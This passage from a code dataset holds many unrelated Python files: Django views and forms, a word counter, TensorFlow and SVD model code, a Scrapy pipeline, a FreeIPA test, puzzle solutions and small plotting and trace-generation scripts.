render(request,'shop/gproductview.html',{'product':product[0]})\n\n\n","sub_path":"MyECart/shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"114610598","text":"\"\"\"\r\nGo to Project Gutenberg (http: // gutenberg. org ) and download your favorite\r\nout-of-copyright book in plain text format.\r\nModify your program from the previous exercise to read the book you downloaded, skip over the\r\nheader information at the beginning of the file, and process the rest of the words as before.\r\nThen modify the program to count the total number of words in the book, and the number of times\r\neach word is used.\r\nPrint the number of different words used in the book. Compare different books by different authors,\r\nwritten in different eras. Which author uses the most extensive vocabulary?\r\r\n\r\n\"\"\"\r\n\r\nimport string\r\n\r\ndef vocabulary_counter(a_file, start_line=1):\r\n new_text = []\r\n fin = open(a_file)\r\n lines = fin.readlines()\r\n lines = lines[start_line - 1:]\r\n\r\n for line in lines:\r\n stripped_line = line.strip().lower().translate(string.maketrans(\"\",\"\"), string.punctuation).split()\r\n new_text += stripped_line\r\n\r\n\r\n word_count_dict = {}\r\n for word in new_text:\r\n word_count_dict[word] = word_count_dict.get(word, 0) + 1\r\n\r\n total_words = len(new_text)\r\n num_different_words = len(word_count_dict.keys())\r\n varied_vocab_percent = float(num_different_words) / total_words\r\n\r\n print(\"Total number of words: \" + str(total_words) + \"\\n\" + \"Number of different words: \" + str(num_different_words) + \"\\n\" + \"Vocab Variance Percent: \" + str(varied_vocab_percent))\r\n","sub_path":"Chapter 13/Exercise_13_2.py","file_name":"Exercise_13_2.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"117966841","text":"from mpl_toolkits import mplot3d\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pymysql\n\ndef getNames():\n conn = pymysql.connect(\n user='root', passwd='java', host='127.0.0.1', db='python', charset='utf8'\n )\n \n curs = conn.cursor()\n \n sql = \"SELECT distinct s_name FROM stock ORDER BY 1 limit 10\"\n curs.execute(sql)\n result = curs.fetchall()\n \n arrName = []\n for row in result:\n arrName.append(row[0])\n return arrName \n\ndef getPrices(s_name):\n conn = pymysql.connect(\n user='root', passwd='java', host='127.0.0.1', db='python', charset='utf8'\n )\n \n curs = conn.cursor()\n \n sql = \"SELECT s_price FROM stock WHERE s_name= %s ORDER BY crawl_date;\"\n curs.execute(sql,s_name)\n \n result = curs.fetchall()\n \n arr = []\n for row in result:\n arr.append(row[0])\n return np.array(arr) \n\n\narrz = []\narr_name = getNames()\nfor item in arr_name:\n arrz.append(getPrices(item))\n\narr_per_z = []\ntmp = []\nfor i in range(len(arr_name)):\n if arrz[i][0]==0:\n continue\n else:\n tmp = (arrz[i]/arrz[i][0])*100\n arr_per_z.append(tmp)\n\n\nfig = plt.figure()\nax = plt.axes(projection='3d')\n\ny = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])\nx = np.array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0])\nfor idx, item in enumerate(arr_per_z):\n ax.plot3D(x+idx,y,item)\n\nax.set_title('3D line plot')\nplt.show()\n\n\n\n\n\n\n\n \n\n","sub_path":"HELLOPYTHON/day07/mygraph_stock1_per_TS.py","file_name":"mygraph_stock1_per_TS.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"426920548","text":"\"\"\"\n633. 寻找重复的数\n给出一个数组 nums 包含 n + 1 个整数,每个整数是从 1 到 n (包括边界),保证至少存在一个重复的整数。假设只有一个重复的整数,找出这个重复的数。\n\n样例\n给出 nums = [5,5,4,3,2,1],返回 5.\n给出 nums = [5,4,4,3,2,1],返回 4.\n\"\"\"\n\n\nclass Solution:\n \"\"\"\n @param nums: an array containing n + 1 integers which is between 1 and n\n @return: the duplicate one\n \"\"\"\n \"\"\"\n # 用二分法来写,python3超时了\n def findDuplicate(self, nums):\n # write your code here\n start, end = 1, len(nums) - 1\n while start + 1 < end:\n mid = start + (end - start) // 2\n if self.check_small_number(mid, nums) <= mid:\n start = mid\n else:\n end = mid\n if self.check_small_number(start,nums):\n return end\n else:\n return start\n\n def check_small_number(self, mid, nums):\n n = 0\n for i in range(len(nums)):\n if nums[i] <= mid:\n n += 1\n return n\n \"\"\"\n # time:2844 ms\n def findDuplicate(self, nums):\n # write your code here\n haxi = {}\n for i in nums:\n if i not in haxi:\n haxi[i] = 1\n else:\n return i\n\n\ns = Solution()\nprint(s.findDuplicate([5, 5, 4, 3, 2, 1]))\n","sub_path":"算法 - 其他/二分法/633.寻找重复的数.py","file_name":"633.寻找重复的数.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"645492068","text":"import http.server\nimport socketserver\nimport os\n\n# change to an available port on your system. this port will be used by your\n# browser to retrieve local games for visualization. no local game data is\n# sent to any server\nPORT = 8080\n# change (if needed) to the location of your replays relative to this\n# script on your system\nDIR_TO_HOST = \"replays\"\n\n# for the curious, this just does the standard 'python3 -m http.server '\n# but adds a cross-origin request policy so that javascript on cmimc-online\n# can access the page.\nclass corp_handler(http.server.SimpleHTTPRequestHandler):\n def end_headers(self):\n self.send_header(\"Access-Control-Allow-Origin\",\"https://cmimconline.org\")\n http.server.SimpleHTTPRequestHandler.end_headers(self)\n\nos.chdir(os.path.join(os.path.dirname(__file__), DIR_TO_HOST))\nwith socketserver.TCPServer((\"localhost\", PORT), corp_handler) as httpd:\n print(\"serving at port\", PORT)\n httpd.serve_forever()\n","sub_path":"Other/CMIMC/handout/visualization_hoster.py","file_name":"visualization_hoster.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"546807329","text":"from django import forms\n\nfrom .models import Team\n\n\nclass CreateTeamForm(forms.ModelForm):\n class Meta:\n model = Team\n fields = ['title',]\n\nclass UserSearchForm(forms.Form):\n username = forms.CharField(\n label='', \n widget=forms.TextInput(attrs={\n 'type': 'text',\n 'class': 'form-control',\n 'placeholder': 'Search users',\n 'aria-label': 'Search users',\n 'aria-describedby': 'button-addon2'\n }))","sub_path":"accounts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"289646258","text":"#This is using for loops with a list \r\nfruits = [\"banna\", \"apple\", \"pear\"]\r\n\r\nfor f in fruits:\r\n\r\n if f == \"banna\":\r\n\r\n print(\"i like bannas\")\r\n break\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# This is the first part of the lesson with strings\r\n#my_string = \"This a string\"\r\n\r\n#for whatever_youeant in my_string:\r\n\r\n #if whatever_youeant == \"g\":\r\n\r\n #print(\"holy crap this is a g\")","sub_path":"Python/Testing/forloop.py","file_name":"forloop.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"119405103","text":"#!/usr/bin/env python3\n\nimport pytest\nimport sys\nimport os\nfrom pytest_dependency import depends\napifolder = os.getcwd()\nsys.path.append(apifolder)\nfrom functions import (\n GET,\n POST,\n)\nfrom assets.REST.directory_services import ldap\nfrom auto_config import dev_test\n# comment pytestmark for development testing with --dev-test\npytestmark = pytest.mark.skipif(dev_test, reason='Skipping for test development testing')\n\ntry:\n from config import (\n FREEIPA_IP,\n FREEIPA_BASEDN,\n FREEIPA_BINDDN,\n FREEIPA_BINDPW,\n FREEIPA_HOSTNAME,\n )\nexcept ImportError:\n Reason = 'FREEIPA* variable are not setup in config.py'\n pytestmark = pytest.mark.skipif(True, reason=Reason)\n\n\n@pytest.fixture(scope=\"module\")\ndef do_freeipa_connection(request):\n with ldap(\n FREEIPA_BASEDN,\n FREEIPA_BINDDN,\n FREEIPA_BINDPW,\n FREEIPA_HOSTNAME,\n validate_certificates=False,\n ) as ldap_conn:\n yield (request, ldap_conn)\n\n\n@pytest.mark.dependency(name=\"setup_freeipa\")\ndef test_01_setup_and_enabling_freeipa(do_freeipa_connection):\n results = GET(\"/ldap/get_state/\")\n assert results.status_code == 200, results.text\n assert isinstance(results.json(), str), results.text\n assert results.json() == \"HEALTHY\", results.text\n\n\ndef test_02_verify_ldap_enable_is_true(request):\n depends(request, [\"setup_freeipa\"], scope=\"session\")\n results = GET(\"/ldap/\")\n assert results.json()[\"enable\"] is True, results.text\n\n\n@pytest.mark.dependency(name=\"FREEIPA_NSS_WORKING\")\ndef test_03_verify_that_the_freeipa_user_id_exist_on_the_nas(request):\n \"\"\"\n get_user_obj is a wrapper around the pwd module.\n \"\"\"\n depends(request, [\"setup_freeipa\"], scope=\"session\")\n payload = {\n \"username\": \"ixauto_restricted\",\n \"get_groups\": True\n }\n results = POST(\"/user/get_user_obj/\", payload)\n assert results.status_code == 200, results.text\n pwd_obj = results.json()\n assert pwd_obj['pw_uid'] == 925000003\n assert pwd_obj['pw_gid'] == 925000003\n assert len(pwd_obj['grouplist']) > 1\n","sub_path":"tests/api2/test_278_freeipa.py","file_name":"test_278_freeipa.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"185100344","text":"# -*- coding: utf-8 -*-\n# @Time : 2017/12/21 23:50\n# @Author : play4fun\n# @File : gcode_draw_turtle.py\n# @Software: PyCharm\n\n\"\"\"\ngcode_draw_turtle.py:\n\"\"\"\n\nimport turtle\nfrom time import sleep\n\nwith open('long_0001.GCODE') as f:\n gcodes = f.readlines()\n\n\n# print(gcodes)\n\ndef parse_line(line):\n sp1 = line.split()\n x = y = z = None\n for sp in sp1:\n if sp.startswith('X'):\n x = float(sp[1:])\n if sp.startswith('Y'):\n y = float(sp[1:])\n if sp.startswith('Z'):\n z = float(sp[1:])\n return x, y, z\n\nz49 =49\nfor line in gcodes: # [:40]:\n if line.strip() == '':\n continue\n print(line)\n # test_ports['ser_in']['handle'].publish(line)\n x, y, z=parse_line(line)\n if z!=z49:\n turtle.up()\n sleep(2)\n else:\n turtle.down()\n if x is not None and y is not None:\n turtle.goto(x,y)\n sleep(0.1)\n\nwhile True:\n sleep(1)\n","sub_path":"test2/gcode_draw_turtle.py","file_name":"gcode_draw_turtle.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"584930982","text":"import sys\nfrom treelib import *\nfrom collections import defaultdict\n\ndef gen_leaves(trace, sizes, items=None, total_sz=0):\n # create a tree and return\n st_tree = defaultdict(list)\n\n ## First create a level 0 trace\n trace_list = []\n seen_ele = defaultdict()\n\n for i in range(len(trace)):\n oid = trace[i]\n n = node(oid, sizes[oid])\n\n if items != None:\n items[oid] = n\n total_sz += sizes[oid]\n \n if oid in seen_ele:\n n.unset_b()\n seen_ele[oid].set_next(n)\n seen_ele[oid] = n\n else:\n n.set_b()\n seen_ele[oid] = n\n\n trace_list.append(n)\n\n\n if i%10000 == 0:\n print(\"Parsed number of requests : \", i)\n\n return trace_list\n\n\ndef generate_tree(trace_list):\n\n lvl = 0\n st_tree = defaultdict(list)\n st_tree[lvl] = trace_list\n\n while len(st_tree[lvl]) > 1:\n\n print(\"Parsing through lvl : \", lvl)\n\n for i in range(int(len(st_tree[lvl])/2)):\n\n n1 = st_tree[lvl][2*i]\n n2 = st_tree[lvl][2*i+1] \n p_n = node(\"nl\", (n1.s*n1.b + n2.s*n2.b))\n\n n1.set_parent(p_n)\n n2.set_parent(p_n)\n\n p_n.add_child(n1)\n p_n.add_child(n2)\n p_n.set_b() \n\n st_tree[lvl+1].append(p_n)\n\n if i%10000 == 0:\n print(\"Parsed number of nodes : \", i)\n\n\n if len(st_tree[lvl]) > 2*i+2:\n n3 = st_tree[lvl][2*i+1]\n p_n = st_tree[lvl+1][-1]\n n3.set_parent(p_n)\n p_n.add_child(n3)\n \n lvl += 1\n\n return st_tree, lvl\n\n\ndef print_tree(n):\n if n.obj_id != \"nl\": \n print(str(n.obj_id) + \":\" + str(n.s) + \":\" + str(n.b) + \":\" + str(n.id))\n for c in n.children:\n print_tree(c)\n\n\ndef sample(vals, cdf):\n z = np.random.random()\n val = vals[-1]\n for i in range(len(vals)):\n if cdf[i] > z:\n return vals[i]\n return val\n\n\ndef run_test():\n\n trace = [1,2,3,5,1,6,7,5,1,0,2,5,7,2,1,0,5]\n sizes = []\n\n for i in range(8):\n sizes.append(10)\n\n trace_list = gen_leaves(trace, sizes)\n st_tree, lvl = generate_tree(trace_list)\n root = st_tree[lvl][0]\n curr = st_tree[0][0]\n\n c_trace = []\n\n while curr != None:\n sd = sample(sd, sd_cdf)\n n = node(curr.obj_id, curr.s) \n c_trace.append(curr.obj_id)\n root.insertAt(sd, n, 0) \n curr.cleanUpAfterInsertion(sd, n)\n curr = curr.findNext() \n while curr.b == 0:\n curr = curr.findNext()\n\n return c_trace\n\n\n\n\ndef test():\n trace = [1,2,3,5,1,6,7,5,1,0,2,5,7,2,1,0,5]\n sizes = []\n for i in range(8):\n sizes.append(10)\n\n trace_list = gen_leaves(trace, sizes)\n st_tree, lvl = generate_tree(trace_list)\n\n root = st_tree[lvl][0]\n curr = st_tree[0][0]\n\n ## Test 1\n i = 0\n for t in trace_list: \n if t.next == None:\n print(t.obj_id, \"None\", i, \"None\")\n else :\n print(t.obj_id, t.next.obj_id, i, t.next.id) \n i += 1\n \n\n #Test 2 - print tree\n print_tree(root)\n\n ## Test find_next \n while curr != None:\n print(curr.id, curr.obj_id)\n curr = curr.findNext()\n\n ## Test 3 - Check if the function insertAt works\n ## Insert first object\n sd = 60\n n = node(1, 10)\n root.insertAt(sd, n, 0)\n print(\"--------------------------\")\n print_tree(root)\n ## Insert second object\n s = 35\n n = node(2, 10)\n root.insertAt(sd, n, 0)\n print(\"--------------------------\")\n print_tree(root)\n \n\n ## Test 4 - Setting the right connections\n curr.cleanUpAfterInsertion(sd, n)\n print(\"--------------------------\")\n print_tree(root)\n \n\n \n#if __name__==\"__main__\":\n# run_test()\n \n","sub_path":"clean_code_byte_sz/gen_trace.py","file_name":"gen_trace.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"44895805","text":"from enum import Enum\nimport json\n\nclass CRITICALITY(int, Enum):\n BLOCKER = 1\n CRITICAL = 2\n MAJOR = 3\n INFO = 4\n\nclass VISIBILITY(int, Enum):\n DISPLAY = 1\n HIDE = 2\n\nclass PARAMETER:\n environment = None\n key = ''\n value = ''\n group = ''\n criticality = CRITICALITY.INFO\n visibility = VISIBILITY.DISPLAY\n description = ''\n\n def __init__(self, environment = None, key = None, value = None):\n self.environment = environment\n self.key = key\n self.value = value\n self.criticality = CRITICALITY.INFO\n self.visibility = VISIBILITY.DISPLAY\n\n\ndef serialize_parameter(target):\n def serialize_update(dict):\n new_dict = dict.copy()\n if (new_dict.get('visibility') != None):\n new_dict['visibility'] = new_dict['visibility'].value\n if (new_dict.get('criticality') != None):\n new_dict['criticality'] = new_dict['criticality'].value\n # for key in new_dict.keys():\n # if (new_dict[key] == None):\n # new_dict[key] = 'None'\n return new_dict\n dt = vars(target) #self.__dict__\n dt = serialize_update(dt)\n return json.dumps(dt)\n\ndef deserialize_parameter(string):\n def deserialize_update(target):\n new_dict = target.__dict__;\n if (new_dict.get('visibility') != None):\n target.visibility = VISIBILITY(new_dict['visibility'])\n if (new_dict.get('criticality') != None):\n target.criticality = CRITICALITY(new_dict['criticality'])\n # for key in new_dict.keys():\n # if (new_dict[key] == 'None'):\n # setattr(target, key, None)\n data = json.loads(string)\n instance = PARAMETER()\n for key, value in data.items():\n setattr(instance, key, value)\n deserialize_update(instance)\n return instance\n\ndef deserialize_parameter_from_dict(dict_c):\n if (dict_c.get('visibility') != None):\n dict_c['visibility'] = VISIBILITY(dict_c['visibility'])\n if (dict_c.get('criticality') != None):\n dict_c['criticality'] = CRITICALITY(dict_c['criticality'])\n instance = PARAMETER()\n for key, value in dict_c.items():\n setattr(instance, key, value)\n return instance","sub_path":"ECM/ecm/core/ecm_model/ecm_parameter.py","file_name":"ecm_parameter.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"263874978","text":"import bpy\r\nfrom bpy.types import Panel\r\n\r\nfrom ... preferences import get_preferences\r\n\r\nclass HOPS_PT_workflow(Panel):\r\n bl_label = 'Workflow'\r\n bl_space_type = 'VIEW_3D'\r\n bl_category = 'HardOps'\r\n bl_region_type = 'UI'\r\n\r\n\r\n def draw(self, context):\r\n layout = self.layout\r\n preference = get_preferences()\r\n\r\n column = layout.column(align=True)\r\n\r\n row = column.row(align=True)\r\n row.prop(preference, 'workflow', expand=True)\r\n\r\n row = column.row(align=True).split(factor=0.1, align=True)\r\n row.prop(preference, 'add_weighten_normals_mod', toggle=True)\r\n\r\n sub = row.row(align=True)\r\n sub.prop(preference, 'workflow_mode', expand=True)\r\n\r\n column.separator()\r\n\r\n row = column.row(align=True)\r\n row.prop(preference, 'sort_modifiers', text='sort modifiers', expand=True)\r\n\r\n sub = row.row(align=True)\r\n sub.alignment = 'RIGHT'\r\n\r\n if get_preferences().sort_bevel:\r\n sub.prop(get_preferences(), 'sort_bevel_last', text='', icon='SORT_ASC')\r\n sub.separator()\r\n sub.prop(preference, 'sort_bevel', text='', icon='MOD_BEVEL')\r\n sub.prop(preference, 'sort_array', text='', icon='MOD_ARRAY')\r\n sub.prop(preference, 'sort_mirror', text='', icon='MOD_MIRROR')\r\n sub.prop(preference, 'sort_weighted_normal', text='', icon='MOD_NORMALEDIT')\r\n sub.prop(preference, 'sort_simple_deform', text='', icon='MOD_SIMPLEDEFORM')\r\n sub.prop(preference, 'sort_triangulate', text='', icon='MOD_TRIANGULATE')\r\n\r\n column.separator()\r\n","sub_path":"All_In_One/addons/HOps/ui/Panels/workflow.py","file_name":"workflow.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"305039414","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport pytest\nfrom covsirphy import SubsetNotFoundError, PopulationPyramidData, Term\n\n\nclass TestPopulationPyramidData(object):\n def test_retrieve(self, pyramid_data):\n df = pyramid_data.retrieve(\"Japan\")\n assert set(df.columns) == set(PopulationPyramidData.PYRAMID_COLS)\n with pytest.raises(SubsetNotFoundError):\n pyramid_data.retrieve(\"Moon\")\n\n def test_cleaned(self, pyramid_data):\n df = pyramid_data.cleaned()\n assert set(df.columns) == set(PopulationPyramidData.PYRAMID_COLS)\n\n @pytest.mark.parametrize(\"country\", [\"Japan\"])\n @pytest.mark.parametrize(\"sex\", [None, \"Female\", \"Male\"])\n def test_records(self, pyramid_data, country, sex):\n df = pyramid_data.records(country, sex=sex)\n assert set(df.columns) == set([PopulationPyramidData.AGE, Term.N, PopulationPyramidData.PORTION])\n","sub_path":"tests/test_cleaning/test_pyramid.py","file_name":"test_pyramid.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"136819127","text":"\"\"\"\n\nImplements compression strategies based on SVD:\n\n\n\"\"\"\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nfrom copy import deepcopy\nfrom constants import DEVICE\n\n\ndef sparsify_layer(weight_matrix, sparsity_param, var_based, verbose=False):\n \"\"\"Sparsify connections in a given layer.\n\n Arguments:\n weight_matrix -- layer's weight matrix to be sparsified\n sparsity_param {float} -- sparsity parameter\n var_based {bool} -- identifier of whether sparsity parameter \n identifies number of parameters to keep or\n amount of variance to keep\n\n Returns:\n w_new {torch.FloatTensor} -- sparsified layer\n \"\"\"\n layer_svd = np.linalg.svd(weight_matrix, full_matrices=False)\n\n num_of_sing_values = layer_svd[1].shape[0] # get minimum of two sizes of weight_matrix\n\n sum_of_sing_val_sq = np.linalg.norm(layer_svd[1]) ** 2 # to assess the quality of approximation\n\n # calculate number of principal components needed\n number_of_components = 0 \n current_approximation = 0\n if verbose: print(var_based)\n if var_based: # case: provided parameter specifies the desired approximation level in Frobenius norm squared \n # calculate number of directions to achieve desired approximation \n while current_approximation < sparsity_param: \n number_of_components += 1\n current_approximation = np.linalg.norm(layer_svd[1][:number_of_components]) ** 2 / \\\n sum_of_sing_val_sq\n if verbose:\n print (\"{} principal directions will be used out of total {}\".format(number_of_components, \\\n num_of_sing_values))\n else: # case: provided parameter specifies the desired proportion of parameters to keep\n if verbose: print(sparsity_param , num_of_sing_values)\n number_of_components = np.round(sparsity_param * num_of_sing_values, decimals=0).astype(int) \n # calculate corresponding number of directions\n num_of_comp_var = 0 # additionally calculate number of principal components required to achieve\n # 95 percent approximation for comparison \n while current_approximation < 0.95: \n # check number of components to achieve 95 percent approximation \n num_of_comp_var += 1\n current_approximation = np.linalg.norm(layer_svd[1][:num_of_comp_var]) ** 2 / \\\n sum_of_sing_val_sq\n \n if verbose: \n print ((\"{} principal directions out of total {} required to get \"\n \"0.95 approximation\").format(num_of_comp_var, num_of_sing_values))\n if verbose:\n print(\"{} principal directions used instead\".format(number_of_components) )\n used_approx = np.linalg.norm(layer_svd[1][:number_of_components]) ** 2 / \\\n sum_of_sing_val_sq\n if verbose: print(\"With corresponding approximation {}\".format(used_approx))\n \n #provide sparsifications levels for a layer\n\n nnz_before = np.count_nonzero(layer_svd[0]) + np.count_nonzero(layer_svd[2])\n nnz_after = np.count_nonzero(layer_svd[0][:number_of_components]) + \\\n np.count_nonzero(layer_svd[2][:number_of_components])\n\n if verbose: print (\"Total number of non-zero parameters in layer before {}\".format(nnz_before))\n # print (\"Total number of non-zero parameters in layer after {}\".format(nnz_after))\n\n #calculate corresponding approximation\n\n approx_weight = layer_svd[0][:,:number_of_components].dot(\\\n np.diag(layer_svd[1][:number_of_components])).dot(\\\n layer_svd[2][:number_of_components,:])\n\n return approx_weight\n \n\n\ndef sparsify_svd(model, sparsity_parameter=0.3, variance_based=False, verbose=False):\n \"\"\" SVD sparsifier.\n\n Arguments:\n model {torch Module} -- [description]\n variance_based {bool} -- parameter specifying whether compression is done based on\n desired approximation level or number of parameters to keep\n sparsity_parameter {float} -- parameter either\n\n\n Returns:\n [torch Module] -- sparsified Model\n \"\"\"\n sparse_model = deepcopy(model)\n sparse_model.zero_weights()\n\n cur_Layer = 1\n\n for m, m_sp in zip(model.layers(), sparse_model.layers()):\n if isinstance(m, nn.Linear):\n if verbose: print(\"Sparsification of the {} linear layer\".format(cur_Layer))\n cur_Layer += 1\n #print(m.weight)\n m_sp.weight = torch.nn.Parameter(torch.tensor(sparsify_layer(m.weight.detach().numpy(),\\\n sparsity_parameter, variance_based)))\n\n return sparse_model\n\n","sub_path":"sparsify_baseline.py","file_name":"sparsify_baseline.py","file_ext":"py","file_size_in_byte":5006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"167641962","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\nimport pymysql\n\n\nclass XiamaiPipeline:\n def open_spider(self, spider):\n self.db = pymysql.connect(host='localhost', port=3306, user='root', password='301932', db='xiamai', charset='utf8')\n self.cursor = self.db.cursor()\n\n def process_item(self, item, spider):\n data = dict(item)\n keys = ', '.join(data.keys())\n values = ', '.join([\"%s\"]*len(data))\n sql = 'INSERT INTO %s (%s) values (%s)' % (item.table, keys, values)\n print(sql)\n try:\n self.cursor.execute(sql, tuple(data.values()))\n self.db.commit()\n except Exception as e:\n print(e)\n self.db.rollback()\n return item\n\n def close_spider(self, spider):\n self.db.close()\n","sub_path":"xiamai/xiamai/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"624320494","text":"import tensorflow as tf\nimport numpy as np\n\n\n\ndef vgg_first_block():\n with tf.variable_scope('conv1',reuse=tf.AUTO_REUSE):\n kernel_rgb = tf.get_variable('kernel_rgb', [3,3,3,64], dtype=tf.float32)\n\n kernel_15 = tf.get_variable('kernel_15', [3,3,1,64], dtype=tf.float32, initializer=tf.random_normal_initializer())\n kernel_30 = tf.get_variable('kernel_30', [3,3,5,64], dtype=tf.float32, initializer=tf.random_normal_initializer())\n\n rgb_mean = tf.reduce_mean(kernel_rgb, axis=2)\n value_15 = tf.expand_dims(rgb_mean, axis=2)\n value_30 = tf.concat([value_15]*5, axis=2)\n\n kernel_15_a = tf.assign(kernel_15, value_15)\n kernel_30_a = tf.assign(kernel_30, value_30)\n\n biases_1 = tf.get_variable('biases_1', [64], dtype=tf.float32)\n biases_2 = tf.get_variable('biases_2', [64], dtype=tf.float32)\n weights_2 = tf.get_variable('weights_2', [3,3,64,64], dtype=tf.float32)\n\n init = tf.global_variables_initializer()\n saver = tf.train.Saver({'vgg_16/conv1/conv1_1/weights': kernel_rgb,\n 'vgg_16/conv1/conv1_1/biases': biases_1,\n 'vgg_16/conv1/conv1_2/weights': weights_2,\n 'vgg_16/conv1/conv1_2/biases': biases_2}\n )\n saver2 = tf.train.Saver()\n\n with tf.Session() as sess:\n saver.restore(sess, '../vgg_16.ckpt')\n sess.run(init)\n\n sess.run([kernel_15_a, kernel_30_a])\n\n saver2.save(sess, '../block_1_model/block_1.ckpt')\n\n\n\n\nif __name__ == '__main__':\n vgg_first_block()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"nets/model_first_layer.py","file_name":"model_first_layer.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"453461699","text":"from collections import deque, defaultdict\nfrom typing import DefaultDict, List\n\n\nif __name__ == '__main__':\n with open('data/day_06.txt', 'r') as f:\n orbit_data = deque([tuple(x.strip().split(')')) for x in f])\n\n orbits: DefaultDict[str, List[str]] = defaultdict(list)\n orbits['COM'] = []\n\n while orbit_data:\n parent, child = orbit_data.pop()\n\n if parent not in orbits:\n orbit_data.appendleft((parent, child))\n continue\n\n orbits[child].append(parent)\n orbits[child].extend(orbits[parent])\n\n print(f\"Part 01: {sum(len(x) for x in orbits.values())}\")\n print(f\"Part 02: {len(set(orbits['SAN']).symmetric_difference(orbits['YOU']))}\")\n","sub_path":"day_06.py","file_name":"day_06.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"373574366","text":"import sys\nimport pandas as pd\nimport numpy as np\nimport random\n\ninputPath = sys.argv[1]\noutputPath= sys.argv[2]\nprint('inp',inputPath)\nw = np.load('weight.npy')\nGoodFeature = np.load('GoodFeature.npy')\nGoodNum = np.sum(GoodFeature)\nmean_x = np.load('mean_x.npy')\nstd_x = np.load('std_x.npy')\n\n#test \ntestdata = pd.read_csv(inputPath, header = None, encoding = 'big5')\ntest_data = testdata.iloc[:, 2:]\ntest_data[test_data == 'NR'] = 0\ntest_data = test_data.to_numpy()\ntest_x = np.empty([240, GoodNum*9], dtype = float)\nfor i in range(240):\n #test_data[18 * i+14,:],test_data[18 * i+17,:] = P2C(test_data[18 * i+17,:],test_data[18 * i+14,:])\n #test_data[18 * i+15,:],test_data[18 * i+16,:] = P2C(test_data[18 * i+16,:],test_data[18 * i+15,:])\n test_x[i, :] = test_data[18 * i: 18* (i + 1), :][GoodFeature,:].reshape(1, -1)\nfor i in range(len(test_x)):\n for j in range(len(test_x[0])):\n if std_x[j] != 0:\n test_x[i][j] = (test_x[i][j] - mean_x[j]) / std_x[j]\ntest_x = np.concatenate((np.ones([240, 1]), test_x), axis = 1).astype(float)\n\n\n\nprint('w=',max(w),min(w))\nans_y = np.dot(test_x, w)\n\nimport csv\nwith open(outputPath, mode='w', newline='') as submit_file:\n csv_writer = csv.writer(submit_file)\n header = ['id', 'value']\n print(header)\n csv_writer.writerow(header)\n for i in range(240):\n row = ['id_' + str(i), ans_y[i][0]]\n csv_writer.writerow(row)\n #print(row)","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"564791200","text":"def sol(x, y, dir, path, start):\n global cafes, answer, N\n if path and (x,y) == start:\n answer = max(answer, len(path))\n return\n\n if x < 0 or x >= N or y < 0 or y >= N:\n return\n\n if cafes[x][y] in path:\n return\n\n if dir == 0:\n sol(x + 1, y - 1, 1, path + [cafes[x][y]], start)\n sol(x + 1, y + 1, dir, path + [cafes[x][y]], start)\n elif dir == 1:\n sol(x + 1, y - 1, 1, path + [cafes[x][y]], start)\n sol(x - 1, y - 1, 2, path + [cafes[x][y]], start)\n elif dir == 2:\n sol(x - 1, y - 1, 2, path + [cafes[x][y]], start)\n sol(x - 1, y + 1, 3, path + [cafes[x][y]], start)\n elif dir == 3:\n sol(x - 1, y + 1, 3, path + [cafes[x][y]], start)\n\n return\n\nT = int(input())\nfor test_case in range(1, T+1):\n N = int(input())\n cafes = []\n for i in range(N):\n cafes.append(list(map(int, input().split())))\n\n answer = -1\n for i in range(N-2):\n for j in range(1, N-1):\n sol(i, j, 0, [], (i,j))\n print(\"#{} 